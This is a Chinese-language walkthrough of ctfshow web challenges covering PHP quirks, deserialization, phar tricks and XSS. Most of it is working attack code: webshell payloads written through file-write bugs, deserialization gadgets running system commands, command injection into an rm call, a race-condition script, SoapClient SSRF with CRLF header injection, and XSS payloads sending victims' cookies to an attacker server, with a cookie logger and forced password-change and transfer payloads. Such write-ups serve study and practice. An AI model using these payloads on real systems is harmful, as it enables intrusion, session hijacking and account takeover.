}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
入手点是在这一句话var_dump(call_user_func(call_user_func($f1,$f2)));,看的出来是要call_user_func来命令执行
但是v1把字母数字都过滤了,当然可以想到是无字母数字rce,但是吧这道题考的不是这个
他考的是gettext()的拓展函数_()
这俩都是可以返回括号里的字符串的,例如
<?php
eval(_("echo '000';"));
echo _("111");
echo gettext("222")
?>
//000111222
所以这刚好就符合两个嵌套的call_user_func函数的利用,再加上get_defined_vars()函数返回由所有已定义变量所组成的数组
payload?f1=_&f2=get_defined_vars
var_dump(call_user_func(call_user_func($f1,$f2))); => var_dump(call_user_func(call_user_func(_,’get_defined_vars’))); => var_dump(call_user_func(get_defined_vars));
web129
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40
*/
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
首先需要看一下stripos()的意思
所以这道题目就是要让ctfshow这个字符串在f里出现并且还要readfile读出flag文件
有这么几种办法,前面三种都是Linux读文件的应用,后面就是php://filter伪协议管道符的应用了
?f=./ctfshow../flag.php
?f=/var/www/html/ctfshow/../flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
web130
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
这个要preg_match不能匹配到ctfshow又要stripos匹配到ctfshow
也是有下面几种方法
f=ctfshow[] //preg_match无法处理数组,返回false,stripos识别到了
?f[]=xxx //两个都绕过了
当然还有一种比较高级的,可以先参考https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
因为preg_match有三种返回值,0、1、false,其中false是因为运行出错导致的,比如上面的数组,然后回溯太多也会出现,最终让false===0,绕过if
脚本如下
import requests
url = "http://2d8f5de1-5924-4f0c-ae64-cd2b2c201d0e.challenge.ctf.show/"
data={
"f":"a"*1000000+"ctfshow"
}
r=requests.post(url,data=data)
if "ctfshow{" in r.text:
print(r.text)
web131
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
用上面的回溯方法即可
import requests
url = "http://e81df6cb-55e8-456b-b582-d6ab17373960.challenge.ctf.show/"
data={
"f":"a"*1000000+"36Dctfshow"
}
r=requests.post(url,data=data)
if "ctfshow{" in r.text:
print(r.text)
web132
一个网站,表面看不出有啥东西
直接dirsearch -u http://9478b4a0-9c36-47e9-b6dc-53a6988741a5.challenge.ctf.show/ -i 200开扫
在/admin/index.php里看到源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 06:22:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
主要是考 || 的应用,首先 && 是前后都是要真才是真,|| 则只需要一个为真即可
所以$code === mt_rand(1,0x36D) && $password === $flag啥的都不用管,只需要$username ==="admin"即可
payload?username=admin&code=admin&password=1
web133
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 16:43:44
*/
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
限制长度的命令执行?好像不是,他只是截断了前面六位
反序列化
web254
源码如下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
your flag is ctfshow{9e45eb87-a32c-4208-b415-670cf633244c}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
在这段可以看出只需要传入 username=xxxxxx&password=xxxxxx
web255
源码如下
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这段代码和上面的有一个不一样
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
这就说明不能通过上面那种传username和password的形式传数据了,取而代之的有一个$user = unserialize($_COOKIE['user']); 这样就可以反序列化cookie里的user然后让isVip为true
生成序列化的代码如下
<?php
class ctfShowUser{
public $isVip=true;
}
$pop = new ctfShowUser();
echo urlencode(serialize($pop));
web256
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这题的
if($this->username!==$this->password){
echo “your flag is “.$flag;
}
和
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
说明了我们需要反序列化一个username和password,两者是不一样的,然后get传过去的是要和你上面反序列化的这俩是一样的,所以我们可以让username=xxxxx,password=xxxxxx
序列化代码如下
<?php
class ctfShowUser{
public $username='xxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$pop = new ctfShowUser();
echo urlencode(serialize($pop));
web257
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
这题就比较复杂了
首先在
public function __destruct(){
$this->class->getInfo();
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
这两段代码里可以知道从destruct里面可以进backdoor的eval函数从而进行代码执行
然后因为序列化和反序列化是相反的过程,所以可以在构造序列化的时候的construct里添加一个new backdoor然后在里面放恶意代码,这样子在反序列化的destruct里就会进getinfo函数然后执行命令
<?php
class backDoor{
private $code="system('cat f*');";
}
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}
$pop = new ctfShowUser();
echo urlencode(serialize($pop));
web258
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
这题和上一题差不多,但是过滤了O:数字,在数字前面加一个“+”绕过就可以了,然后这个的类型从private变成了public,也要记得改一下
<?php
class backDoor{
public $code="system('cat f*');";
}
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
}
$pop = new ctfShowUser();
$pop=serialize($pop);
$pop = str_replace('O:','O:+',$pop);
echo urlencode($pop);
web259

这是题目里的代码和报错,乍看可能摸不着头脑,但是可以看题目简介

可以看出我们需要传一个序列化的vip参数然后伪造ip是127.0.0.1,但是我们不能直接改请求头,只能通过反序列化修改。然后我们还要传一个token=ctfshow,最后才能在flag.txt读取flag。
这下我们需要用php内置的反序列化,可以参考https://xz.aliyun.com/t/9293,在这里面的SoapClient 类进行 ssrf就很符合题目的要求,于是我们可以用这种方法去伪造让服务器认为我们是发了一个http请求,然后做出相应的响应。当然在上面的文章中也提到了我们还需要借助CRLF漏洞,使用\r\n来注入cookie

可以借鉴这个写payload
<?php
$target = 'http://192.168.6.161:2333';
$post_data = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1',
);
$user_agent = "Chrome\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".strlen($post_data)."\r\n\r\n".$post_data;
$o = new SoapClient(null,array('location' => $target,'user_agent'=>$user_agent,'uri'=>'test'));
$o=serialize($o);
echo urlencode($o);
$a=unserialize($o);
$a->ppp();
?>
用这个在本地运行
可以看出成功的插入了
接着稍作修改,将序列化代码用url编码,传入题目,访问flag.txt即可
<?php
$target = 'http://127.0.0.1/flag.php';
$post_data = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1',
);
$user_agent = "Chrome\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".strlen($post_data)."\r\n\r\n".$post_data;
$o = new SoapClient(null,array('location' => $target,'user_agent'=>$user_agent,'uri'=>'test'));
echo urlencode(serialize($o));
?>
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
这个有点莫名其妙,构造一个类里面有ctfshow_i_love_36D就可以了,但是其实可以直接传?ctfshow=ctfshow_i_love_36D
<?php
class ctfshow{
public $a='ctfshow_i_love_36D';
}
$a=new ctfshow();
echo urlencode(serialize($a));
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
这段代码看似有很多魔术方法,但是用得上的就只有两个,__unserialize和__destruct。由于php的特性,__unserialize和__wakeup在一起的时候只会调用前者,而且__invoke也不好怎么调用,所以我们只能运用__unserialize函数去把数组传上去,然后在最后的__destruct函数运行的时候进行任意文件写,把木马写进去
实现的payload如下(其实不用__serialize传数组也行),可以直接声明变量
<?php
class ctfshowvip
{
public function __serialize(){
$this->username='877.php';
$this->password='<?php eval($_REQUEST[cmd]);?>';
return array('username'=>$this->username,'password'=>$this->password);
}
}
$obj = new ctfshowvip();
echo urlencode(serialize($obj));
最后访问877.php进行命令执行就可以了
web262
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
一开始的源码是这样,但是看不出来什么,发现上面有一个注释是# @message.php,于是访问
得到下面的新代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
可以看出只需要传一个token=admin的序列化并且b64编码就可以了
<?php
class message{
public $token='admin';
}
$obj = new message();
echo base64_encode(serialize($obj));
web263

开局是一个登陆界面,www.zip得源码
发现下面的漏洞点
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
可以知道在inc.php里面有一个任意文件写漏洞可以传马,然后check.php里的limit可以session反序列化,然后session可以在index.php里面获取,但是要怎么进去?可以用inc.php的session.serialize_handler,然后check.php也有引用inc.php
对于payload的构造就是直接__construct传马就可以了,然后需要b64编码,因为check.php那里会解码再编码,还有一些构造的细节可以参考X1r0z大佬的博客

构造的payload如下
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username = '1.php';
$this->password = '<?php eval($_REQUEST[1]);?>';
}
}
echo urlencode(base64_encode('|'.serialize(new User())));
?>
先访问index.php获取session复制过去请求头
然后访问check.php并且把limit加上去
最后访问log-1.php命令执行即可
web264
源码和262一样,但是不能用那种非预期解,要用字符逃逸,可以参考https://xz.aliyun.com/t/9213
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
$umsg = str_replace('fuck', 'loveU', serialize($msg));
从这一段可以看出替换之后多了一个字符,然后因为要把user改成admin所以可以直接在序列化中构造
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$a=new message('admin','admin','admin');
echo serialize($a)."\n";
//O:7:"message":4:{s:4:"from";s:5:"admin";s:3:"msg";s:5:"admin";s:2:"to";s:5:"admin";s:5:"token";s:5:"admin";}
echo strlen('";s:5:"token";s:5:"admin";}')."\n";
//27
echo str_repeat('fuck',strlen('";s:5:"token";s:5:"admin";}'));
只需要get传to变量就可以了,因为传的是";s:5:"token";s:5:"admin";}这句,一共27个字符,所以需要27个”fuck”来替换。再加上url编码,最后的payload是fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D
最后不要忘了cookie里的PHPSESSID和msg
web265
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
这题有个md5随机数,我们能因此想到一些解法,这个是用引用的方法,直接传序列化的对象让token=password,过程大概就是先是反序列化让$this->password = &$this->token;这样不管token的值怎么变,都会通过引用传到password,二者不分你我(bushi)
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = &$this->token;
}
}
$a=new ctfshowAdmin();
echo urlencode(serialize($a));
web266
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
这个是直接绕过去if(preg_match('/ctfshow/', $cs))这句话就可以了,因为他没有加/i,所以不区分大小写。然后因为php有这些特性
- 变量名区分大小写
- 常量名区分大小写
- 数组索引 (键名) 区分大小写
- 函数名, 方法名, 类名不区分大小写
- 魔术常量不区分大小写 (以双下划线开头和结尾的常量)
- NULL TRUE FALSE 不区分大小写
- 强制类型转换不区分大小写 (在变量前面加上 (type))
所以可以用大写的CTFSHOW类来做
<?php
class ctfShow{
}
$a=new ctfShow();
echo serialize($a);
最后把序列化的数据随便用一种方法传上去就好了,我用的是data,直接传值就可以了
web267
一打开来是一个ctf社区的界面
在这里可以看出来是yii框架
在yii.js可以看到他的版本
于是就可以搜索了:yii 2.0漏洞
可以参考一下这个大佬的漏洞利用https://www.cnblogs.com/thresh/p/13743081.html
web275
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
这题看着好复杂啊,我们来解释一下是啥意思$content = file_get_contents('php://input');:用php://input伪协议读取post里面的数据,是全部读取,例如传一个a=1则content=”a=1”$f = new filter($_GET['fn'],$content);:把传的fn和上面的content放进filter类的构造函数里,没啥好说的
这题我们其实只需要一个变量拼接就好了首先对于fn传的量,在__destruct里有system('rm '.$this->filename);,我们就就可以传fn为;cat f*,用分号来把rm给分行了,后面就执行读取flag
但是光这样还是不行,因为如果if($f->checkevil()===false)成功执行的话是不会出发析构函数的,所以我们需要让checkevil为true,需要在post里传flag=1,让他匹配到

web276
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
这题是上一题的升级版,在__destruct()里多了一个$this->admin的判断,这下是真要反序列化了
但是这里没有反序列化函数,但是看到了有file_put_contents($_GET['fn'], $content);这个可以get传fn自定义成phar://,所以可以想到用phar反序列化,这相当于一个php的压缩包,里面的manifest是可以存放用户自定义的metadata的,所以可以进行反序列化
这里借用一下大佬的代码,先生成反序列化函数
注意生成这个需要在当前的php.ini中把phar.readonly改为Off,然后前面如果有分号注释的话要删掉
<?php
class filter{
public $filename = '1;cat f*';
public $filecontent = '';
public $evilfile = true;
public $admin = true;
}
$phar = new Phar('phar.phar');//新建一个空的phar
$phar->startBuffering();//开始填入
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//添加头,GIF89a表示这是gif来绕过,<?php __HALT_COMPILER(); ?>说明这是phar让php认出来
$o = new filter();//new一个对象,注意不用序列化
$phar->setMetadata($o);//把对象丢进data
$phar->addFromString('test.txt', 'test');//添加正文内容,可以自定义phar压缩包里面的文件和文件内容
$phar->stopBuffering();//停止填入
然后就可以直接url后面带?fn=phar.phar然后把上面生成的phar.phar的内容post传上去
最后再传?fn=phar://phar.phar进行解压phar触发反序列化
但是因为有
if($f->checkevil()===false){
file_put_contents($_GET[‘fn’], $content);
copy($_GET[‘fn’],md5(mt_rand()).’.txt’);
unlink($_SERVER[‘DOCUMENT_ROOT’].’/‘.$_GET[‘fn’]);
echo ‘work done’;
}
这段代码在,每次传上去的文件一下子就会被删掉,md5随机产生的文件名也不能猜出来,所以就只能条件竞争
这是python脚本,使用threading.Thread()进行条件竞争
import io
import requests
import threading
url = 'http://9acdfd28-304e-4c80-862d-04fdad2a8894.challenge.ctf.show/'
data = open('phar.phar', 'rb').read()
flag = True
pre = requests.get(url)
if pre.status_code != 200:
print('url error!')
exit(1)
def write(): # 写入phar.phar
requests.post(url+'?fn=phar.phar', data=data)
print('write')
def unserialize(): # 触发反序列化
global flag
r = requests.get(url+'?fn=phar://phar.phar')
if 'ctfshow{' in r.text and flag:
print(r.text)
flag = False
print('unserialize')
while flag: # 线程条件竞争,直到读到flag
threading.Thread(target = write).start()
threading.Thread(target = unserialize).start()
反序列化的具体知识可以看看这个大佬写的文章https://www.ctfiot.com/56327.html
XSS注入
web316
正常的反射性xss
payload如下
<script>document.location.href='http://xxxxxx:2224/xss.php?c='+document.cookie</script>
然后需要在服务器这边对应的地方建立一个xss.php和cookie.txt
<?php
$cookie = $_GET['c'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
<script>alert("hello!xss!");</script>
最后传payload过去就可以了,访问cookie.txt就能看到flag
web317-319
这几题都是上面那个过滤了script
绕过就可以了
<body onload="document.location.href='http://xxxxx:2224/xss2.php?c='+document.cookie">
web320-326
这几题在上面的基础上过滤了空格,可以用/、/**/和tab绕过
<body/onload="document.location.href='http://xxxxx:2224/xss2.php?c='+document.cookie">
web327

上面都写了是存储型的xss,只要收件人写admin,信的内容写xss代码就可以了
<script>document.location.href='http://xxxxx/xss2.php?c='+document.cookie</script>
web328

上来就是一个登录窗口,直接用xss代码作为用户名密码注册一个然后登录,这样管理员登陆的时候就会发他的cookie过来
<script>document.location.href='http://xxxxx:2224/xss2.php?c='+document.cookie</script>

在cookie里改一下这个PHPSESSID,然后访问用户管理界面就能看到flag了
web329
这题和上一题不一样的地方就是他管理员每次登录之后立马下线,然后用之前的PHPSESSID就无效了,所以我们就需要在登陆的那一下子获取flag,可以使用indexOf()函数,在用户管理界面搜索flag然后直接发过去
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctf'+'show{')==0){
window.location.href='http://xxxxx:2224/xss2.php?c='+value.innerHTML;
}
});
</script>
或者
var website="http://xxxxx/xss2.php";
(function(){(new Image()).src=website+'/?c='+escape(document.getElementsByClassName("layui-form layui-border-box layui-table-view")[0].innerHTML)})();
web330

这次多了一个修改密码的功能,抓包看到这个的url是这样的
上面的那些方法已经不管用了,于是就要在这里入手
我们可以注册一个带修改密码的xss代码的账号,然后登录把xss代码放进登录的界面(注册了才能登录啊),这样管理员登录的时候就会给他的密码修改了
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
然后再登录admin和123
在用户管理找到flag
web331
这题改成post传修改的密码了
在/js/select.js里能看到
所以payload变成
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123'}});</script>
同样的是注册完之后登录然后admin密码被修改成123
登录admin然后进去管理就可以了
web332

多了一个转账汇款和购买flag的界面,购买flag那里说要9999元但是账户里只有5元
转账的时候抓包看到是post两个参数用户名u和金额a
这下就可以先注册,然后按照上面的方法让admin给我们转个10000元,然后直接购买flag就有了
